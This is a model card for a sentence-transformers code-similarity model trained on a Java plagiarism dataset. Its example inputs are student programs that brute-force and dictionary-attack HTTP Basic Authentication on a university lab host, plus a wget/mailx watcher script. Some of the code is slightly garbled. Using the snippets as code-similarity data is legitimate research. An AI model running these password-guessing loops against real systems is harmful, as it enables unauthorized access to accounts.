\ }\n }\n System.out.println(\"Response \"+i+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+pws[i]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-d)/1000;\n\
\ System.out.println(\"Time taken: \"+totaltime+ \" seconds.\");\n \
\ \n }\n}\n\n"
sentences:
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
\ String pass = new String();\n String UserPass = new String();\n String status\
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
\ is \" + pass);\n end=System.currentTimeMillis();\n \
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
\ + \" secs\");\n System.exit(0);\n }\n \
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
\ }\n\n System.out.println(\" match found\");\n\n \
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n\
\ exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\
\npublic class BruteForce {\n public static void main (String[] args) throws IOException\
\ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\
\n int start = new Date().getTime();\n String[] letters = {\"a\",\"\
A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n\
\ \"h\",\"H\",\"i\",\"I\",\"j\",\"J\",\"k\",\"K\",\"\
l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"o\",\"O\",\"p\",\"P\",\"q\",\"Q\"\
,\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"U\",\n\t\t\t \"v\",\"V\",\"w\",\"\
W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n int len = 52;\n int total\
\ = 52;\n String[] cad = new String[total];\n int t=0;\n \n \
\ for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\t t++;\n } \n\
\ for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\t \
\ cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\
\ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \
\ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \
\ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\
\ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\
\ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+cad[t]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\
\ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\
\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\n\npublic class BruteForce\
\ {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n\
\ \n public BruteForce(String strURL,String strUserName) {\n this.strURL\
\ = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n\
\ }\n \n public String getPassword(){\n URL u;\n String result =\"\
\";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n \
\ String strPassword = new String();\n String strEncode;\n try{\n\
\ while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n \
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n \
\ uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n\
\ strPassword = strEncode;\n strEncode = strUserName + \":\"\
\ + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce\
\ BF = new BruteForce(arg[0],arg[1]);\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n \n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \"\
\ (msec)\");\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n\
\ }\n else {\n System.out.println(\"[Usage] java BruteForce <URL>\
\ <USERNAME>\");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[]\
\ password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n\
\ for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n\
\ }\n \n public String getNewPassword()\n throws PasswordFailureException{\n\
\ password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n\
\ if (password[i] == 90) {\n password[i] = 97;\n }\n \
\ if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n\
\ }\n }\n }\n catch (RuntimeException re){\n throw new\
\ PasswordFailureException ();\n }\n return new String(password);\n }\n\
}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException()\
\ {\n }\n}"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\
\ String strUserName;\n private String strURL;\n private String strDictPath;\n\
\ private int iAttempts;\n\n \n public Dictionary(String strURL,String\
\ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\
\ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\
\ }\n \n\n public String getPassword(){\n URL u;\n String result\
\ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\
\ uc;\n String strPassword = new String();\n String strEncode;\n \
\ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\
\ uc = u.openConnection();\n uc.setDoInput(true);\n \
\ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\
\ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\
\ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\
);\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\
\ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\
\ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\
\ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\
\ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\
\ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \
\ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\
\ String getNewPassword()\n throws PasswordFailureException{\n try {\n \
\ {\n line = inputFile.readLine();\n }while (line.length() !=\
\ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\
\ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\
\ RuntimeException {\n\n public PasswordFailureException() {\n }\n}"
- "\n\n\n\n\nimport java.io.IOException;\nimport java.net.*;\n\nimport java.io.*;\n\
import java.util.*;\n\n\n\npublic class Dictionary\n\n{\n\n\n static URL url\
\ = null;\n static URLConnection urlConnection;\n static InputStream urlStream;\n\
\n static String strOneLetterWords[];\n static String strTwoLetterWords[];\n\
\ static String strThreeLetterWords[];\n\n static String strExceptionPassword[];\n\
\n static String strLastPasswordTested;\n static String username = \"\";\n\
\n static int intNumberOfOneLetterWords = 0;\n static int intNumberOfTwoLetterWords\
\ = 0;\n static int intNumberOfThreeLetterWords = 0;\n\n static int intExceptionCount\
\ = -1;\n\n static int intNumberOfConnectionAttempts = 0;\n static int intTotalNumberOfWordsInFile\
\ = 0;\n\n\n\n\n public static void main (String args[])\n \n {\n\n\n \
\ \n \n Calendar calStart;\n Calendar calFinish; \n\
\ Date dateStart;\n Date dateFinish;\n lngStart;\n lngFinish;\n\
\n\n\n String strLine;\n String strTextFileName = \"/usr/share/lib/dict/words\"\
;\n\n boolean boolPasswordFound = false;\n boolean boolExceptionPasswordsTestedAgain\
\ = false;\n\n\n\n\n String urlString\n = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
;\n\n int intCounter1;\n int intCounter2;\n int intCounter3;\n\n\
\ int intTotalNumberOfWordsChecked = 0;\n\n\n\n \n \n \
\ calStart = new GregorianCalendar();\n dateStart = calStart.getTime();\n\
\ lngStart = dateStart.getTime(); \n\n\n\n \n \n\
\ \n \n \n strExceptionPassword = new String[5000];\n\
\n\n \n \n getNumberOfVariousLengthsOfWords(strTextFileName);\n\
\n\n \n \n strOneLetterWords = new String[intNumberOfOneLetterWords];\n\
\ strTwoLetterWords = new String[intNumberOfTwoLetterWords];\n strThreeLetterWords\
\ = new String[intNumberOfThreeLetterWords];\n\n\n \n \n \
\ populateTheDifferentLengthArrays(strTextFileName);\n\n\n\n\n if (!boolPasswordFound)\
\ \n {\n\n\n \n \n\n intCounter1 = 0;\n\n \
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strTwoLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strThreeLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n \
\ intTotalNumberOfWordsChecked++;\n\n }\n\n\n\n \n \
\ \n \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1] + \n \
\ strOneLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n \n \n\n intCounter1 = 0;\n\n while\
\ ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )\n \
\ {\n\n intCounter2 = 0; \n\n while ( (!boolPasswordFound)\
\ && (intCounter2 < intNumberOfOneLetterWords) )\n {\n\n \
\ intCounter3 = 0; \n\n while ( (!boolPasswordFound) && (intCounter3\
\ < intNumberOfOneLetterWords) )\n {\n\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strOneLetterWords[intCounter1] \
\ + \n strOneLetterWords[intCounter2]\
\ +\n strOneLetterWords[intCounter3],\n\
\ boolPasswordFound); \n\n \
\ intCounter3++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n intCounter2++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1] + \n \
\ strTwoLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfTwoLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strTwoLetterWords[intCounter1] + \n \
\ strOneLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n \n \n\n intCounter1 = 0;\n\n while\
\ ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )\n {\n\
\n boolExceptionPasswordsTestedAgain = true;\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strExceptionPassword[intCounter1],\n \
\ boolPasswordFound); \n\n intCounter1++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n } \n\n\n\
\n \n \n calFinish = new GregorianCalendar();\n dateFinish\
\ = calFinish.getTime();\n lngFinish = dateFinish.getTime(); \n\n\n\
\ \n \n System.out.println();\n System.out.println();\n\
\n\n System.out.println();\n System.out.println(\"Length of time for\
\ processing: \" + \n ((lngFinish - lngStart) / 1000)\
\ + \n \" seconds\");\n\n\n System.out.println();\n\
\ System.out.println(\"Total number of words in dictionary file = \" + intTotalNumberOfWordsInFile);\n\
\n\n System.out.println();\n System.out.println(\"Input file: number\
\ of words with one letter length = \" + intNumberOfOneLetterWords);\n \
\ System.out.println(\"Input file: number of words with two letter length =\
\ \" + intNumberOfTwoLetterWords);\n System.out.println(\"Input file: number\
\ of words with three letter length = \" + intNumberOfThreeLetterWords);\n\n\n\
\ System.out.println();\n System.out.println(\"Number of connection\
\ attempts = \" + intTotalNumberOfWordsChecked);\n\n\n System.out.println();\n\
\ System.out.println(\"Number of exceptions thrown = \" + (intExceptionCount\
\ + 1));\n System.out.println();\n\n\n if (intExceptionCount >= 0)\n\
\ {\n System.out.print(\"These passwords WERE \");\n\n if\
\ (boolExceptionPasswordsTestedAgain)\n System.out.print(\"tested again.\"\
);\n else\n System.out.print(\"NOT tested again.\");\n\n \
\ System.out.println();\n }\n\n\n if (boolPasswordFound) \n \
\ {\n System.out.println(\"The correct password WAS found - this password\
\ is '\" + \n strLastPasswordTested + \"'.\");\n \
\ } \n else\n {\n System.out.println(\"The correct password\
\ WAS NOT found.\");\n } \n \n System.out.println();\n\n\
\ }\n\n\n\n\n\n\n\n static void getNumberOfVariousLengthsOfWords(String TextFileName)\n\
\ \n {\n\n FileReader reader;\n BufferedReader inTextFile = null;\n\
\n String strLine;\n int intWordLength;\n\n\n\n try\n { \
\ \n \n \n \n \n \n reader\
\ = new FileReader(TextFileName);\n\n \n \n \n\
\ \n inTextFile = new BufferedReader(reader);\n\n\n \
\ strLine = inTextFile.readLine();\n\n\n while (strLine != null)\n \
\ {\n\n intTotalNumberOfWordsInFile++;\n\n strLine\
\ = strLine.trim();\n\n intWordLength = strLine.length();\n\n\n \
\ \n \n if (intWordLength == 1)\n \
\ intNumberOfOneLetterWords++;\n\n \n \n \
\ else if (intWordLength == 2) \n intNumberOfTwoLetterWords++;\n\
\n \n \n else if (intWordLength == 3)\n\
\ intNumberOfThreeLetterWords++;\n\n\n strLine = inTextFile.readLine();\n\
\n }\n\n }\n\n catch(FileNotFoundException e)\n {\n\n \
\ \n \n System.out.println();\n System.out.println(\"\
The file '\" + TextFileName + \"' cannot found.\");\n System.out.println();\n\
\n }\n\n catch(Exception e)\n {\n\n }\n\n finally\n \
\ {\n\n try\n {\n inTextFile.print();\n \
\ }\n catch(Exception e)\n {\n }\n\n inTextFile\
\ = null;\n reader = null;\n\n }\n\n } \n\n\n\n\n\n\n static\
\ void populateTheDifferentLengthArrays(String TextFileName)\n \n {\n\n \
\ FileReader reader;\n BufferedReader inTextFile = null;\n\n String\
\ strLine;\n int intWordLength;\n\n int intCountOfOneLetterWords =\
\ -1;\n int intCountOfTwoLetterWords = -1;\n int intCountOfThreeLetterWords\
\ = -1;\n\n\n\n try\n { \n \n \n \n \
\ \n \n reader = new FileReader(TextFileName);\n\n \
\ \n \n \n \n inTextFile = new\
\ BufferedReader(reader);\n\n\n strLine = inTextFile.readLine();\n\n\n\
\ while (strLine != null)\n {\n\n strLine = strLine.trim();\n\
\ intWordLength = strLine.length();\n\n\n \n \
\ \n if (intWordLength == 1)\n {\n intCountOfOneLetterWords++;\n\
\ strOneLetterWords[intCountOfOneLetterWords] = strLine;\n \
\ }\n\n \n \n else if (intWordLength\
\ == 2) \n {\n\n intCountOfTwoLetterWords++;\n \
\ strTwoLetterWords[intCountOfTwoLetterWords] = strLine;\n \
\ }\n\n \n \n else if (intWordLength ==\
\ 3)\n {\n intCountOfThreeLetterWords++;\n \
\ strThreeLetterWords[intCountOfThreeLetterWords] = strLine;\n \
\ }\n\n strLine = inTextFile.readLine();\n\n }\n\n }\n\
\n catch(FileNotFoundException e)\n {\n\n \n \n\
\ System.out.println();\n System.out.println(\"The file '\" +\
\ TextFileName + \"' cannot found.\");\n System.out.println();\n\n \
\ }\n\n catch(Exception e)\n {\n System.out.println(\"Exception\
\ thrown....\");\n System.err.println(e);\n }\n\n finally\n\
\ {\n\n try\n {\n inTextFile.print();\n \
\ }\n catch(Exception e)\n {\n }\n\n inTextFile\
\ = null;\n reader = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static\
\ boolean passwordWasFound(String urlString,\n \
\ String password,\n boolean retVal)\n \
\ \n {\n\n String strEncodeInput = username + \":\" + password;\n \
\ boolean returnValue = retVal;\n boolean boolExceptionThrown = false;\n\n\
\n\n try\n {\n\n strLastPasswordTested = password;\n \n \
\ intNumberOfConnectionAttempts++;\n\n url = new URL(urlString);\n\
\n String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());\n\
\n\n System.out.print(\"username = \" + \n username\
\ + \n \" \" +\n \
\ \"password = \" +\n password);\n\n\n\n HttpURLConnection\
\ urlConnection = (HttpURLConnection)url.openConnection();\n\n urlConnection.setRequestProperty(\"\
Authorization\", \n \" \" + encoding);\
\ \n\n System.out.println(\" response = \" + urlConnection.getResponseCode());\n\
\n if (urlConnection.getResponseCode() == 401)\n {\n \
\ returnValue = false; \n }\n\n }\n\n catch (MalformedURLException\
\ m)\n {\n boolExceptionThrown = true;\n returnValue = false;\n\
\n System.err.println(m);\n System.out.println(\"Malformed URL\
\ Exception error\");\n }\n\n catch (IOException io)\n {\n \
\ boolExceptionThrown = true;\n returnValue = false;\n\n System.out.println(\"\
IOException error\");\n System.err.println(io); \n }\n\n catch\
\ (Exception e)\n {\n boolExceptionThrown = true;\n returnValue\
\ = false;\n\n System.out.println(\"General exception.....\");\n \
\ System.err.println(e); \n }\n\n finally\n { \n urlConnection\
\ = null;\n url = null; \n }\n\n\n if (boolExceptionThrown)\n\
\ {\n intExceptionCount++;\n strExceptionPassword[intExceptionCount]\
\ = password;\n }\n\n\n return returnValue;\n\n }\n\n}"
- "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\
public class WatchDog {\n\n public WatchDog() {\n\n }\n public static void\
\ main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println(\"\
ishti\");\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"\
wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff\
\ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n \
\ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\
\" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n\
\ System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"\
wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\
\ Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n\
\ newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\
\ if (newin.readLine() != null){\n System.out.println(\"\
Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n \
\ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n \
\ }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\
\ }\n\n }\n\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs512-lr2e-05-split0.1")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\n\npublic class BruteForce {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n \n public BruteForce(String strURL,String strUserName) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n }\n \n public String getPassword(){\n URL u;\n String result ="";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n 